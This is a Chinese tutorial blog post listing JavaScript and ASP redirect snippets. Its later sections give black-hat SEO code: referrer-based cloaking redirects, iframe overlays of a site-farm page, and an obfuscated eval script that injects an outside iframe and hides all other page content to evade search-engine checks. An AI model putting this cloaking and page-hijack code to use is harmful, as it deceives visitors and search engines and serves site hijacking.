對於做網站的人來說，常常需要做js跳轉，對於做seo的人來說，尤其是有興趣涉足黑帽seo的人員，js跳轉更是家常便飯。那么，js跳轉有哪些類型呢，今天小編在這里給大家總結了一下大概的js跳轉種類，希望能對大家有所幫助。
一、從一個頁面跳轉到另一個頁面
1、在本窗口中跳轉到另一個頁面
<script type="text/javascript">
window.location.href="目標頁面";
</script>
2、跳轉到另一個新窗口：
<script type="text/javascript">
window.open('目標頁面');
</script>
3、JS頁面跳轉參數的注解
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
//寫成一行
-->
</SCRIPT>
參數解釋：
<SCRIPT LANGUAGE="javascript"> js腳本開始；
window.open 彈出新窗口的命令；
'page.html' 彈出窗口的文件名；
'newwindow' 彈出窗口的名字（不是文件名），非必須，可用空'代替；
height=100 窗口高度；
width=500 窗口寬度；
top=0 窗口距離屏幕上方的象素值；
left=0 窗口距離屏幕左側的象素值。
從這段代碼中可以看到，js的控制很細致，從窗體的大小到窗體的位置都可以控制到位。開頭的SCRIPT LANGUAGE，不一定非寫成大寫，小寫的也行，只是一個js開始的開始標志。
二、跳轉指定頁面的JS代碼
第1種：
<script language="javascript" type="text/javascript">
window.location.href="login.jsp?backurl="+window.location.href;
</script>
這個往往在注冊用戶時會用到，比如檢測這個用戶的某個操作必須是會員，但對方沒有注冊，從而跳轉到注冊頁面。
第2種：
<script language="javascript">
alert("返回");
window.history.back(-1);
</script>
經常可以看到網頁上有“返回”按鈕，點擊后會返回到之前查看的頁面，就是通過這段js代碼實現的
第3種：
<script language="javascript">
window.navigate("top.jsp");
</script>
第4種：
<script language="JavaScript">
self.location=’top.htm’;
</script>
第5種：
<script language="javascript">
alert("非法訪問！");
top.location=’xx.jsp’;
</script>
這是針對於不允許訪問的頁面做的跳轉或者訪問出錯等等，直接跳轉到首頁也可以。
三、頁面停留指定時間再跳轉（如3秒）
<script type="text/javascript">
function jumurl(){
window.location.href = 'http://www.gpbrother.cn/';
}
setTimeout(jumurl,3000);
</script>
四、根據訪客來源跳轉的JS代碼。做黑帽seo的人員，往往會通過來訪的是普通個人還是搜索引擎做判斷，如果對方是搜索引擎，那么就把它引向另一個優化好的網頁，如果對方是普通用戶，又引導到另一個網頁。這種手段不建議用，但是技術可以知道，用js判斷來訪者，然后針對搜索引擎做js跳轉，就是這么簡單。
1、JS判斷來路代碼
此段代碼主要用於百度谷歌點擊進入跳轉，直接打開網站不跳轉：
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.gpbrother.cn/";
</script>
2、JS直接跳轉代碼
<script LANGUAGE="Javascript">
location.href="http://www.gpbrother.cn/";
</script>
3、ASP跳轉代碼判斷來路
<%
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
response.redirect("http://www.gpbrother.cn/")
end if
%>
4、ASP直接跳轉的
<%
response.redirect("http://www.gpbrother.cn/")
%>
五、廣告與網站頁面一起的JS代碼
1、上面是廣告下面是站群的代碼
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.gpbrother.cn/></iframe>");
2、全部覆蓋的代碼
document.write("</iframe><iframe src='http://www.gpbrother.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");
3、混淆防止搜索引擎被查的js調用
具體的展示上面是廣告下面是站群的代碼：
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
雖有有些問題用php也能解決，但是跳轉方面，js的技術可以說無出其左右的，這也得益於js之父對瀏覽器的理解，編寫了這種語言。現在html5技術達到了有史以來的最高潮，隨之而來的是對js的廣泛需求。h5技術配合js技術，能實現各種高大上的炫麗效果。最常用的幾種js跳轉方式及代碼集錦介紹到這里，加油。